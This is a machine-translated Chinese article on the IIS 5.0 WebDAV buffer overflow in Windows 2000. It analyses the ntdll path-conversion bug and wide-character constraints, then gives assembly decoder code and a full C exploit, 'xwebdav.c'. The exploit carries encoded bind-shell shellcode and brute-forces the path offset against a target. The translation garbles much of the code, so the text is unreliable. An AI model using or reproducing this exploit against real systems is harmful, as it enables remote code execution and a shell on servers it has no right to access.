WEBDAV vulnerability simply analysis and general EXPLOIT design reads the
It is recommended that you have read the article mentioned above and then continue. The following test is performed in the Windows 2000 Simplified Chinese version.
- = - = - = - Part 1 Vulnerability Simple Analysis - = - = - = -
What happened to the webdav overflow, I will not be coming, please refer to the article written by ISO, here is just a short story. We send IIS as follows:
Search / O http / 1.0host: xxxcontent-type: text / xmlcontent-length: 3xxx
IIS converts the file name we requested into Unicode, plus the path in front, then pass it as a file name parameter to getFileAttributesexw (first plus the path to Unicode, or convert to unicode and plus the path, I didn't look carefully, but This is not important). If the IIS root directory is c: / inetpub / wwwroot, the file name passed to getFileAttributeSexw is "//? / C: / inetpub / wwwroot / o" Unicode form, as follows: 0197EFE0 5C 00 5C 00 3F 00 5c 00- 63 00 3A 00 5C 00 69 00 /. / ../.c.:/.0197eff0 6e 00 65 00 74 00 70 00 NETPUB / .W.0197F000 77 00 77 00 72 00 6F 00-6F 00 74 00 5c 00 4F 00 wwroot / .o.
The vulnerability reference relationship is as follows:
GetFileAttributesexw | __rtlDospathnametontpathname_u | __rtlinitunicodeString <-buff More than 65535 will cause short interstitial overflow | __ When the code behind this is character COPY, the stack overflow is triggered.
Let's look at the definition UNICODE_STRING structure: typedef struct _UNICODE_STRING {USHORT Length; <- this refers to the number of bytes the length of the buffer, not the number of USHORT MaximumLength unicode character; PWSTR Buffer;} UNICODE_STRING * PUNICODE_STRING;
From the above analysis we can see, in fact, as long as we guarantee ($ FileName $ IIS_PATH) * 2> 65535, you can trigger short-intensive spillage in the storage of BUFF length, where $ filename is the file name we submit (non-Unicode form ).
- = - = - = - The second part about the string of widechar - = - = - = -
After receiving the buff that we sent, IIS will call the multibytetowidechar function to convert our buff into widechar, ie Unicode, use the codepage is the system default codePage, which is 936 on the Simplified Chinese system. During the conversion process, the double-byte characters that do not meet the corresponding Code Page WideChar range will be replaced, and the single-byte character will be converted to "/ xxx / x00". How to determine characters is a single-byte character or a double-byte character? Simplified Chinese, Traditional Chinese, Korean, Japanese is a double-byte language, ie Double-Byte Character Set (DBCS). The first bytes in the above four language double bytes are greater than or equal to 0x80. So a character is greater than or equal to 0x80, then there is still a character to form a complete "character" with this character.
If you don't believe it, you can write a process to verify that you can call an API. The IsDBCSLeadByteEx function determines whether a specified byte is a lead byte that is, the first byte of a character in a double-byte character set (DBCS). BOOL IsDBCSLeadByteEx (UINT CodePage, // identifier of code pageBYTE TestChar // byte to test );
If the characters we send are "/ x61 / x81 / x81", it will become "x61 / x00 / xxx / xxx" with the multibytetowideChar function of Simplified Chinese, of course, the premise is "/ x81 / x81" Convert to Unicode Wide Char range in accordance with Simplified Chinese. So we have to determine that shellcode is converted after the multibytetowideChar conversion, it meets the WideChar range of the corresponding Code page.
Repeatedly read YuAnge's article
YuanGe also provides a code for decoding shellcode in that article, which is in line with Simplified Chinese WideChar. Later, Taiwan Netizen Nankia said that these codes could not be used above the traditional Chinese, and then Nankia wrote a decoding code that conforming to the traditional Chinese WideChar range.
Later, I spent a lot of time. On the basis of the code released by Yuange, I have modified some places and wrote a decoding code that meets Simplified Chinese, Traditional Chinese, Korean, Japanese WideChar range. The following is a C code I test if these decoded code meet the corresponding WideChar range. I don't know how to debug decoding code is complemented by Yuange and Nankia? ?
= - = - = - = - = - = - = - = - = - = - = CHECKCODE.C - = - = - = - = - = - = - = - = - = - = - = - = - == - = - = - = - == - = - = - = - = # = - = - = # = - = - = # = - = - = # = - = - = # defludes # define code_cn 936 // ANSI / OEM - Simplified Chinese (PRC, SINGAPORE) #define code_tw 950 // ANSI / OEM - Traditional Chinese (Taiwan; Hong Kong SAR, PRC) #define CODE_JP 932 // ANSI / OEM - Japanese, Shift-JIS # define CODE_Korean 949 // ANSI / OEM - Korean (Unified Hangeul Code) int g_iCodePageList [] = {936, 950, 932, 949}; // If it is a legal WIDE CHAR range, this BYTE value is 1, otherwise 0CHAR * g_szwidecharshort;
Void CHECKCODE (Unsigned Char * Shellcode, INT ILEN); Void Printsc (Unsigned Char * SC, INT LEN); Bool MakewideCharlist (); Void Savetofile (); void shellcodefnlock ();
#define fnendlong 0x08
Void main () {char * fnendstr = "/ x90 / x90 / x90 / x90 / x90"; unsigned char TEMP; unsigned char * shellcodefnadd; unsigned char shellcode [512]; int LEN, K ;
/ * Positioning shellcodefnlock assembly code * / shellcodefnadd = shellcodefnlock; temp = * shellcodefnadd; if (temp == 0xe9) { shellcodefnadd; k = * (int *) shellcodefnadd; shellcodefnadd = k; shellcodefnadd = 4;} for ( K = 0; k <= 0x500; K) IF (Memcmp (shellcodefnadd k, fnendstr, fnendlong) == 0) Break; / * shellcodefnadd k 8 is the resulting shellcodefnlock assembly code address * / len = 2 * WCSLEN (Shellcodefnadd K 8); Memcpy (shellcode, shellcodefnadd k 8, len);
If (! makewidecharlist ()) return; // savetofile (); / * Detects whether shellcode is in a legitimate Wide Char range * / checkcode (shellcode, len); //printsc (shellcode, len);}
Bool MakewideCharlist () {Unsigned Char WBuff [4]; unsigned char wbuff2 [4]; unsigned char buff [4]; int i, j, return, k;
g_szwidecharshort = (char *) Malloc (65536); Memset (g_szwidecharshort, 1, 65536); for (k = 0; k {printf ("usecodepage =% d / n", g_icodepagelist [k]); for (i = 0 i <256; i ) // for 2 {for (j = 0; j <256; j ) // for 3 {IF ((i == 0) && (j == 0)) J = 1; MEMSET (BUFF, 0, 4); MEMSET (WBUF2, 0, 4); WBUFF [0] = (Byte) i; WBuff [1] = (byte) j; WBuff [2] = (byte) '/ 0'; WBuff [3] = (Byte) '/ 0'; if (! (Ret = WideChartomultibyte (g_icodepagelist [k], 0, (unsigned short *) WBuff, 1, BUFF, 2, 0, 0))) {Printf ( "Widechartomultibyte error:% d / n", getLastError ()); return false;} if (! (Ret = multibytetowidechar (g_icodepagelist [k], 0, buff, strlen (buff), (unsigned short *) WBUFF2, 1) )) {Printf ("MultibyToWideChar Error:% D% D / N", getLastError (), RET; RETURN FALSE;} // Decision After two conversion changes, as long as any Code Page changes Illegal WIDE CHAR Range IF (* (DWORD *) WBUFF! = * (DWORD *) WBUFF2) g_szwidecharshort [(byte) WBUFF [0] * 0x100 (byte) WBUFF [1]] = (byte) '/ 0'; } // GetChar ();} // end of for 2} // end of for 1return true;
Void savetofile () {unsigned char * g_pstr; file * f; Int i, j, k;
i = 0; / * Save the allowed WIDE CHAR range in text file, easy to debug * / g_pstr = (unsigned char *) Malloc (65536 * 6 200); MEMSET (g_pstr, 0, 65536 * 6 200 ); for (k = 0; ki = sprintf (g_pstr i, "usecodepage =% d / n", g_icodepagelist [k]); for (j = 0; j <65536; j ) IF (g_szwidecharshort [j] ! = (Byte) '/ 0') i = Sprintf (g_pstr i, "% .4x / n", j); f = fopen ("c: //w.txt", "w"); fprintf (f, "% s", g_pstr); fclose (f); free (g_pstr);}
Void Printsc (unsigned char * sc, int LEN) {int L; for (L = 0; l {if (l == 0) Printf ("/"); IF ((l% 16 == 0) && L! = 0)) Printf ("/" / n / ""); printf ("// x% .2x", sc [l]); if (l == len-1) Printf ("/" " );} printf ("/ n / n"); for (l = 0; l {if (l == 0) Printf ("/"); if ((l% 16 == 0) && (l! = 0)) PRINTF ("/" / ""); Printf ("%% u% .2x% .2x", sc [l 1], sc [l]); if (l == LEN- 2) Printf ("/");}} void checkcode (unsigned char * sc, int LEN) {INT L; / * Detection * / printf ("/ nStart Check shellcode / n"); for (l = 0; L {Printf ("shellcode% .2x% .2x AT sc [%. 2D] sc [1), sc [l], sc [l 1], l, l 1); if (g_szwidecharshort [ (BYTE) SC [L] * 0x100 (Byte) SC [L 1]] == (byte) '/ 0') Printf ("not"); Printf ("allow./N");} Printf "Done./n");
/ * Note: In order to comply with the WIDE CHAR range, NopCode is not the same as the Duality of Yuange * // *, you should pay attention to the SHELLCODE to encode, * / # define nopcode 0x4f // dec ESI 0x4f = 'o' 0x4e = 'N' # define OFFSETNUM 0x8 # define DATABASE 0x64void shellcodefnlock () {_ asm {nopnopnopnopnopnopnopnop
/ * START Here * /
Dec EDI // Useless code, to move the command range 4Fjnz unlockdataW // 75 05JZ unlockdataW // 74 03DEC ESI // useless code, for the migration of the command range 4e <- never perform this
/ * Put the TOSHELL in front is to facilitate back debugging, you can debug * // * Otherwise, if it is jumping behind, if it is jumped back, and the back offset is not determined, it is difficult Arversion * // * Compliant with the Wide Char range * / toshell: / * At this time, the ESP is stored in the decoded shellcode start address, which is the start address of the shellcode before decoding * / Ret // C3DEC EDI / / Useless code, for the migration of the command range 4f <- never execute it
UnlockDataW: / * gets our decoder start address * / push ebx // 53 / * can be saved in ESI * / NOPPOP ESI // 5E
/ * Where to start decoding * / loopload: / * Read two bytes, use ESI index * / Lodsw // 66 addec ESI // useless code, for the migration range 4EINC ESI // useless code, Division of 46Dec eDi // useless code, for the migration of the command range 4Finc EBX / / useless code 43 / * determines whether or not to reach the character to be decoded * / cmp AX, 0x6f97 // shellData 66 3D 97 6F | NOP // useless code, for the migration of the command range 90 | Push ECX // useless code, for the migration of the command range 51 | NOP // useless code, for the migration of the command range 90 | ------> This cannot be used here. Sign bit directive POP ECX // useless code, for the migration of the command range 59 | jnz loopload // 75 f0 | push ebx // useless code, for the command range 53
/ * The start address to be decoded to the EDI, the decoded character is also stored from this start address * / push ESI // 56POP EDI // 5FDEC ESI // useless code, for the migration of the command range 4A / * saved Entrepreneurial, pay attention to the back PUSH POP operation To balance * // * Otherwise, the RET instruction in TOSHELL cannot return to the decoded shellcode * / push EDI // 57 Inc EBX // useless code, for the migration of the command range 43
/ * Start Decoding * / LOOPLOCK: / * Read two bytes, with ESI index * / LODSW // 66 ADPUSH EAX // useless code, for the command range 50 ------- << 3 >> Inc EBX // Useless, for the migration of the command range 43 / *, it is determined whether it is completely decoded * / cmp ax, nopcode // 66 3D 4F 00noppop ECX // useless code, for the migration of the command range 59 ----- --- << 3 >> Restore Stack Operation JZ TOSHELL / / 74 D5
Dec ESI // Useless code, for the migration of the command range 4E ------ << 1 >> / * decoded * / SUB AL, DATABASE / / 2C 64 / * Save to ECX * / PUSH EAX // 50POP ECX / / 59INC ESI // Useless code, for the migration of the command range 46 ------ << 1 >> Restore ESI value DEC EDI // useless code, for the migration of the command range 4F ------- << 2 >> Inc EDI // Useless code, in order to move the command range 47 ------- << 2 >> NOP / / useless code, for the migration range 90
INC EBX / / INC code, read two bytes for the migration of the command range 43 / *, with ESI index * / Lodsw // 66 ADPUSH EAX // useless code, for the command range 50 ------- << 4 >> DEC EBX // Useless code, in order to move the command range 4bpop eax // 指 范围 58 ------- << 4 >> / * Decoding * / SUB AL, DATABASE / / 2C 64
/ * -------------- Combination decoded content ------------------- * / dec Edx // useless code, Save EDI for the migration of the command range 4apush EDI // 57, because the following is used to use ----- >> [1] / * to transfer the ECX value to EDI * / push ECX // 51nop // useless code, for the transfer Range 90nOP // Useless code, for the migration of 90POP EDI // 5F / * EDI * 0x10 * / Add Edi, EDI // 03 FFADD EDI, EDIADD EDI, EDIADD EDI, EDI / * The result of the second decoding result ( EAX) first (EDI * 0x10), the operation gets the last result * / XCHG EAX, ECX // 91Add ECX, EDI // 03 CFXCHG EAX, ECX // 91 / * Restore EDI Value * / NOP // Useless code In order to move the decoded content, saving the decoded content in order to move in the command of the index * / stosb // Aanop // useless code, in order to move Range 90
INC ECX // Useless code, in order to move the command range 41JZ LOOPLOCK // 74 CA | NOP // useless code, for the migration of the command range 90 | Push ECX // useless code, for the command range 51 | ---> Can't use it Instructions affecting the sign bit NOP // 90 | POP ECX // Useless code, for the migration of the command range 59 | jnz looplock // 75 c4dec ESI // useless code, for the command range 4E this code never execute / * decoding code end flag * / _ emit (0x97) _emit (0x6F) / ** / _ emit (0x0) _emit (0x0) _emit (0x0) _emit (0x0) NOPNOPNOPNOPNOPNOPNOPNOP
}
= - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = = - = - = - = - = - = - = - = - = - = - = - = - == - = - = - = - =
- = - = - = - The problem of the length of the third part of the IIS Path - = - = - = -
The WebDAV vulnerability overflow is originally fixed, but because there is an IIS Path length uncertain this problem, this is in fact become an unsteadic vulnerability of overflow points. According to my understanding, IIS PATH length causes overflow points uncertain this problem, we can use two ways to solve:
(1) The semi-continuous coverage method proposed in Yuange. Regardless of IIS PATH, no matter how accurate overflow points, you can guess 8 times, let our JMP Addr align the place where you want to overwrite. In fact, because the characters we send should be converted to Unicode, it is only necessary to guess four times. Advantages: Don't know the precise overflow point, just guess 4 times; shortcoming: It may be necessary to pay DOWN3 IIS.
(2) Guess the length of IIS Path. We have to accurately control the length of the transmitted buff, and determine that the IIS is not triggered without guessing in the Path length. The buff structure we sent is as follows: ($ GUESS_PATH_LEN ) $ NOP_FOR_ Align _ret $ Jmpover $ RET $ SHELLCODE $ NOP We have to ensure that the above BUFF does not overflow when Path has not guess, but one but accurate, Not only will you overflow him, but also let our JMP AddR override in SEH or RET. In this case, the length of IIS PATH can only be guess from the guess. Because: If the actual length of the PATH is 20, we guess is 30, the buff length we send is 65536-30 = 65506. In fact, the server processing of the server is 65506 20 = 65526 bytes, and the overflow did not occur. When we guess 21 from 30, the overflow will not happen, but when we arrived, overflow happened, our JMP AddR just overwritten in our designated position. In contrast, when you go to the guess, no matter whether Path guess, IIS overflow will be triggered. Later, it was found that it was not a buffer over 65535, but the stack overflow was triggered, but more than 65535 would cause short interstitial overflow. This is certain. Let's take a look at the related code:
ntdll RtlDosPathNameToNtPathName_U 3A:!! 77f8b036 push dword ptr [ebp 0x8] 77f8b039 lea eax, [ebp-0x30] 77f8b03c push eax77f8b03d call ntdll RtlInitUnicodeString (77f83c6d) 77f8b042 cmp word ptr [ebp-0x30], 0x8 // determines whether the length Less than or equal to 8, if you jump 77F8B047 JBE NTDLL! RTLDOSPATHNAMETONTPATHNAME_U 0X71 (77F8B056) 77F8B049 MOV EAX, [EBP-0X2C] // EBP-0X2C storage is buff address 77F8B04C CMP Word PTR [EAX], 0x5c // judgment Is buff's first is '/', is the words jump 77F8B050 JE NTDLL! RTLDOSPATHNAMETONTPATHNAME_U 0X56 (77F84049) 77F8B056 and Byte PTR [EBP-0x64], 0x077f8b05a lea eax, [EBP-0x270]
Because the file name passed to getFileAttributeSexW is "//? / C: / xx" form, it will definitely jump in the above 77f8b050. If you jump, you can't trigger your stack overflow. There is no tracking, interested friends who are interested. :) So we want to jump 77f8b047, that is, let the unicode_string structure less than or equal to 8. That is to say, the BUFF length is between 65536, 65544. Because Buff is in the form of Unicode, the BUFF length that can trigger stack overflow is only as follows: 65536, 65538, 55540, 65542, 65544. Later, the BUFF length was 65536, that is, the length of the unicode_string structure is 0, and the stack overflow cannot be triggered. Therefore, the BUFF length must be of 65538, 55540, 65542, 65544, will only trigger stack overflow.
With this length limit, we guess IIS PATH, not only from the big guess, but also from a small guess, in my Exploit, it uses the latter. How do you guess me? - = - = - = - Part IV EXPLOIT - = - = - = -
Now we have the following resources: <> Simplified Chinese, Traditional Chinese, Japanese, Korean system, universal decoding code <> know how accurate guess IIS path length, and accurately cover JMP AddR at the same time At the specified place. We also need: <> JMPOVER code in accordance with the above four platforms Wide Char range. This is simple. <> JMP Addr Address. In my Exploit, it is overwriting SEH, so JMPAddr can use Call EBX, or PUSH EBX; RET, the former is easy to find in the system DLL, but the latter is less. Note: The JMPAddr address must also meet the Wide Char range of the corresponding platform. It is difficult to find out the universal address of various platforms, at least I have found it. But I found Simplified Chinese, some system DLLs in Traditional Chinese, so I can find the same address. In Japanese, there are also certain system DLLs in Korean, and you can find the same address.
= - = - = - = - = - = - = - = - = - = - = xwebdav.c - = - = - = - = - = - = - = - = - = - = - = - = - = - = - == - = - = - = - == - = - = - = - = # include #include #include
#pragma comment (lib, "ws2_32") # define nopcode 0x4f // 0x4f // 'o' # define bufflen 65536 8 // BUFF length passing to getFileAttribeexwwwwwwwwwwwwwwwworth #define overpoint 0x260 // Overflow point -0x14 SEH-0X4 # Define Maxtry 8 // After the connection failed, the number of retransmates #define defaultoffset 23 # Define Recvtimeout 30000 // MS, 30S # Define StartoffSet 6 # define endoffset 80 # define retaddrnum 12 // Available RET ADDR number / * serious error, program exit * / # define ERROR_OTHER 0 // other error # define ERROR_METHOD_NOT_SUPORT 1 // no valu # define ERROR_NOT_IIS 2 // not iis / * continued speculation offset * / # define ERROR_RESOURCE_NOTFOUND 3 // offset error # define ERROR_BAD_REQUEST 4 // offset error? / * Successful? * / # Define error_recv_timeout 5 // Success? / * Try different RET Addr * / # define error ire_connect_reset 6 // offset ok? But RET Addr Error #define error_connect_falied 7 // can't connect // 100 bytes] unsigned char decoder [] = "% u0000% U7409% U4E07% U584A% U9050% U4FC3% U9053% U665E" "% U4EAD% U4F46% U6643% U973D% U906F% U9051% U7559% U53F0" "" ""% U5F56% U574A % U6643% U50AD% U6643% U4F3D% U9000% U7459 ""% U4ed5% U642C% U5950% U4F46% U9047% U6643% U50AD% U584B ""% U642C% U574A% U9051% U5F90% UFF03% UFF03% uff03% uff03 "" % U0391% U91CF % U5F90% u90AA% u7441% u90CA% u9051% u7559 ""% u4EC4% u6F97 "; / * cmd shellcode is bound is a copy from isno exploit over * / unsigned char xShellCode [] =" mdrodgiqrodirlslsssssslgpieimdmdmdlopiggpmjjomeddgidldgdmkhdrfsnkrlrmimkmkpqephq "" ehkpmdsqjlphsggjmkmkmkmkpksgerofmkmkmkmknhhpfpmkmkkkrdkshomjmkmkejjpmkmkjlflmleh " "immjmkmkejihmkmkmjmkseejnpqnpqrfkdnhikepqhnomhihseejnspkqfrfhrehikrsepnkmhjhepqm" "momhipejnrqpqfpiqmrfifejrrmgqfqonhnirffonhjlepqeokmhihepipmhmsejnrqdsfrgpkrfmrej" "rrmgrislshqjrgmeqdehikmgkpkfmhjlmhjpeppeogmhjqnhhiseepldepjqepqelkqsmhjsnhirepil" "
mhirmhirmhqmlomhipepnrmhjpkrsrmjmkmkpmedjdephdnhikjdhkepisjiglernienqimspipkphjl "" lipqerqimgenrilfpipejlpimgpqnhikgoegikrfjrnhireqmmegirrgmrpipephjllipqgpkiksqepi "" pejlpimgpqephsnhikgoegikrfjrnhireqmmekjrmirgmrpipephjllipqgpkikdnhikpkqkpkqkpkjl "" pdksdhsqlkpephjlpdkosqmiphjlpdjknhikpdpkfkmogppsgpqkgpplqspkpdpegnpejlpdikqspkpd "" gnpegnpejlpdikqsfkqgermdpdjlpdignhikepqejgerqdnoerqdqkepmeerqdnsnhiksefsmjmjerqd "" oopdpdnhikpkpkpkqkpkqspkpkgnpenhikpkjlpdisjlrejkjlpdiojlrejojlpdioqspkpkphjlpdjg "" ephsnhikfgmgpkijksmgpkjlpdhgepjknhikepisffmgpkpkpdpjpejlrdgsjlpdhkehnlmjrooinhik "" pkpdjlndpejlrdgsjlpdhompikrgolnhikpkjlndpephjlpdjssqpkjlpdkkkpisnhikpkfgmgpkpeph "" jlpdjopdnhirpjpkpejlrdgojlpdhssqpkjlpdkkkpgqpkjlpdkgkpjmpspkerqijiihepqgogmomffs "" mkmkmkidmkrspenglinhikihkpkokskijnjljlksdijmjljlqppekdrdohekkdrdqoslsjsgqosrsiri "" sjrirrqjmkqpqfpiqmqfqonhnimkqhrisfsjrgsfpksrrksfmkqdsfrgphrgsjrirgrfrkqrsmseslqj "" mkqhrisfsjrgsfpkrislshsfrhrhqjmkqhsoslrhsfqssjsmsgsosfmkpksfsfspqmsjsnsfsgpksrrk "" sfmkqdsoslsisjso qjsososlshmkpdrisrrgsfqesrsosfmkpisfsjsgqesrsosfmkphsosfsfrkmkqf "" rssrrgpkrislshsfrhrhmkmkpdphqlqhqpnhnimkrhslshspsfrgmksisrsmsgmksosrrhrgsfsmmksj "" shshsfrkrgmkrhsfsmsgmkrisfshremkmimklmsomkmkmkmkmkmkmkmkmkmkmkmkshsnsgomsfrssfmk "" jljljljldd "; unsigned char jmpover [] ="% u9041% u6841 "; // 0x41 inc ecx, 0x68 push num32unsigned int g_iConnectError = 0;
/ * Not available herein * / unsigned int g_iretaddrlist [3] [4] = {{0, // Call EBX Addr at xx.dll in SP0_CN_TW, in line with (CN, TW) Wide Char Coding 0, // Call EBX Addr at xx.dll in sp1_cn_tw, conforming to (CN, TW) Wide Char Coding 0, // Call EBX Addr At XX.dll in SP2_CN_TW, conforming to (CN, TW) Wide Char Coded 0 // Call EBX Addr AT XX. DLL IN SP3_CN_TW, compliant with (CN, TW) Wide Char Coding}, {0, // Call EBX Addr AT XX.dll in SP0_JP_KO, in accordance with (JP, KO) Wide Char Coding 0, // Call EBX Addr At XX.dll In SP1_JP_KO, in accordance with (JP, KO) Wide Char Coding 0, // Call EBX Addr At XX.dll in SP2_JP_KO, Combine (JP, KO) Wide Char Coding 0 // Call EBX Addr AT XX.dll in SP3_JP_KO, in line with JP, KO) WIDE CHAR Codes}, {0, // Call EBX Addr AT XX.dll in SP0_EN, Combine (CN, TW, JP, KO) Wide Char Coding 0, // Call EBX Addr AT XX.dll in SP1_EN Compliance (CN, TW, JP, KO) WIDE CHAR Coding 0, // Call EBX Addr AT XX.dll in SP2_EN, compliant with (CN, TW, JP, KO) Wide Char Coded 0 // Call EBX Addr AT XX. DLL IN SP3_EN, compliant with (CN, TW, JP, KO) Wide Char Coding}}; int sendbuffer (Char * IP, INT Iport, unsigned char * buff, int LEN); int makeExploit (unsigned int Retdr, int offset, char * Host, Char * IP, INT iPort); void usage (); void main (int Argc, char ** a RGV) {INT I, IRET, K, IOSTYPE, ISP; Unsigned Int Ioffset, Iport, ISTARTOFFSET, IENDOFFSET, ICORRECTOFFSET, IENDOFFSET, ICORRECTOFFSET; Char * IP, * Host; unsigned int retaddrlist [retaddrnum], Iretaddrnum
Memset (Iretaddrlist, 0, SizeOf (IretadDrlist); IretaddRNum = 0; IP = NULL; Host = NULL; Iport = 80; Iostype = -1; ISP = -1; IOFFSet = 0; icorRectoffset = 0;
IF (argc <3) {usage (); return;} for (i = 1; i {i (strlen (argv [i])! = 2) {usage (); return;} // Check if the parameter IF (i == argc-1) {usage (); return;} switch (argv [i] [1]) {case 'i': ip = argv [i 1]; Break; case 'h': host = Argv [i 1]; Break; Case 'P': iport = ATOI (Argv [i 1]); Break; Case 'T': iOstype = ATOI (Argv [i 1]); Break; Case 'S ': ISP = ATOI (Argv [i 1]); Break; Case' o ': IOFFSET = ATOI (Argv [i 1]); Break;}} // Check Parameter IF (! ip) {usage () ;}}}} {iStartoffset = startoffset; IENDOFFSET = endoffset;} else {if (ioffset
IF ((ISP> 3)) {usage (); return;} // brute forceif ((iostype == -1) && (ISP == -1)) {Memcpy (IretadDrlist, g_iretaddrlist , SIZEOF (IRetadDrlist); Iretaddrnum = SizeOf (IRetaddrlist) / sizeof (INT);} IF ((iOstype == -1) && (ISP! = -1)) {for (i = 0; i <3; i Iretaddrlist [iretaddrnum ] = g_iretaddrlist [i] [ISP];} if ((iostype! = -1) && (ISP == -1)) {for (i = 3; i> = 0; i -) Iretaddrlist [IretadDrnum ] = g_iretaddrlist [iostype] [i];} if ((iostype! = -1) && (ISP! = -1)) IretadDrlist [IretadDrnum ] = g_iretaddrlist [iostype] [ISP];
Printf ("IP / T / T:% S / N" "Host / T / T:% S / N" "Port / T / T:% D / N" "OFFSET / T / T:% D-% D / N "" IOFFSET / T / T:% D / N "" OSTYPE / T / T:% D / N "" SP / T / T:% D / N "" Retdrnum / T:% D / N ", IP, Host, Iport, Istartoffset, Iendoffset, IOFFSET, IOSTYPE, ISP, IRETDRNUM; For (i = 0; iPrintf ("%. 8X", IretadDrlist [i]); Printf ("/ NStart Exploit [Y / N] : "); if (getChar () == 'n') return; k = 0; for (i = iStartoffset; i <= IENDOFFSET; i ) {// If it is speculative OFFSET, try 23iF (i == startoffset I = defaultoffset; Else IF ((i == defaultoffset) && (ioffset == 0)) Continue; Printf ("Try Offset:% D / Tuse Retaddr: 0x% .8x / N", I, Iretaddrlist [K] ); IRET = MakeExPloit (IretadDrlist [k], i, host, ip, iport);
Switch (IRET) {case error_not_iis: case error_method_not_suport: case error_other: exit (1); break; case error_connect_falied: printf ("can't connect:" iport); // First Not connected, or beyond the maximum retegy number IF ((i == defaultoffset) ||) {Printf (", exit./n"); exit (1);} printf (", Wait for try again./n");Sleep(5000); // same offset, retaddr try againi -; break; case ERROR_CONNECT_RESET: iCorrectOffset = i; break; case ERROR_RECV_TIMEOUT: printf ( "recv buff timeout.Maybe success / n? "); exit (1); break;} if (i == defaultoffset) i = 6; IcorRectoffset Break; // getchar ();
IcorRectoffset) Printf ("- = - = we got correct offset:% d - = - = / n" "- = - = but retraddr% .8X error - = - = / n", icorractoffset, iretaddrlist [k] Else Return;
IRetaddrnum <2) return; // Try other RetDrfor (k = 1; k {Sleep (5000); Printf ("Use Offset:% D / TTRY Retaddr: 0x% .8x / N", icorRectoffset, IretadDrlist [K ]); IRET = MakeExPloit (IRetadDrlist, Host, IP, 80); Switch (IRET) {CASE ERROR_CONNECT_FALIED: Printf ("CAN't Connect TO% S:% D", IP, IPORT); if (g_iconnecterror> maxTry) {printf (", eixt./N); exit (1);} elseprintf (", wait for try again./n" );k --; break;case error_connect_reset: Printf ("Retaddr Error, Wait for try, error_recv_timeout: Printf ("Recv buff timeout.mayous: printf (" Recv buff timeout.maybe success? / n "); exit (1); break; default: exit (1);}} printf "DONE./N ";}}}} {struct sockaddr_in sa; wsadata wsd; socket s; int rt, Ierr; char szrecvbuff [0x1000]; int i;
IRET = error_other; MEMSET (Szrecvbuff, 0, sizeof (szrecvbuff)); __ try {ix (WsaStartup (MakeWord (1, 1), & WSD)! = 0) {Printf ("WsaStartup Error:% D / N", WsagetlasTerror )); __ leave;
s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == INVALID_SOCKET) {printf ( "/ nCreate socket failed:% d", GetLastError ()); __ leave;} // set socket recv timeouti = RecvTimeOut; setsockopt ( S, SOL_Socket, SO_RCVTIMEO, & I, SIZEOF (i));
Sa.sin_family = AF_INET; sa.sin_port = htons (iPort); sa.sin_addr.s_un.s_addr = inet_addr (ip);
iErr = connect (s, (struct sockaddr *) & sa, sizeof (sa)); if (iErr == SOCKET_ERROR) {iRet = ERROR_CONNECT_FALIED; g_iConnectError ; __ leave;} // reset flagg_iConnectError = 0; iErr = send (s, buff , Len, 0); if (Ierr == Socket_ERROR) {Printf ("Send Buffer Error:% D. / N", wsagetlasterror ()); __ leave;}
iErr = recv (s, szRecvBuff, sizeof (szRecvBuff), 0); if (iErr == SOCKET_ERROR) {if (WSAGetLastError () == WSAETIMEDOUT) iRet = ERROR_RECV_TIMEOUT; if (WSAGetLastError () == 10054) iRet = ERROR_CONNECT_RESET; // Printf ("Recv buffer error:% d. / n", wsagetlasterror ()); __ leave;} if (STRSTR (Szrecvbuff, "Microsoft-IIS / 5.0") == null) {it = error_not_iis; printf (" Target not Iis./n" "__leave;}) {IRET = Error_Resource_notfound; __ leave;} IF (Szrecvbuff, "400 Bad Request"))) ERROR_BAD_REQUEST; __ leave;} if (strstr (szRecvBuff, "501 Not Supported")) {iRet = ERROR_METHOD_NOT_SUPORT; printf ( "501 Not Supported / n"); __ leave;}} __ finally {if (! s = INVALID_SOCKET) closesocket (s WSACLANUP ();} Return IRet;} /// Offset is IIS Path Length // Int MakeExPloit (unsigned int Retdr, int offset, char * host, char * ip, int {unsigned char jmpaddr [16 ]; unsigned char * pstr, sznop [4]; int I, inop, IRET;
SZNOP [0] = NopCode; SZNOP [1] = '/ 0'; // Convert character format Sprintf (jmpaddr, "%% u% .2x% .2x %% u% .2x% .2x", retaddr >> 8 & 0xFF, RetadDR & 0xFF, Retaddr >> 24 & 0xFF, Retdr >> 16 & 0xFF); // Allocate memory pstr = (unsigned char *) Malloc (40000); // Combination bufferstrcpy (PSTR, "Search /"); // Fill NOP Code IISPATH NOP = 0x260 / 2FOR (i = offset; istrcat (pstr, sznop); // jmp to decoderstrcat (PSTR, JMPOVER); // JMP AddrStrcat (PSTR, JMPADDR); // Decode Real Shellcodestrcat (PSTR, DECODER); // REAL shellcodestrcat (pstr, xshellcode); // How many NOP codeinop = (bufflen-overpoint-8-strlen (decoder) / 3-strlen (xshellcode) * 2) / 2; // fill NOP CodeFor (i = 0; istrcat (pstr, sznop); strcat (PSTR, "http / 1.0 / n" "Content-type: Text / XML / N" "Content-Length: 8 / N / N" "oooooooo / n / n "); // Send our carefully constructed buffiRet = sendbuffer (IP, IPORT, PSTR, STRLEN (PSTR)); // Release Memory Free (PSTR); Return IRet;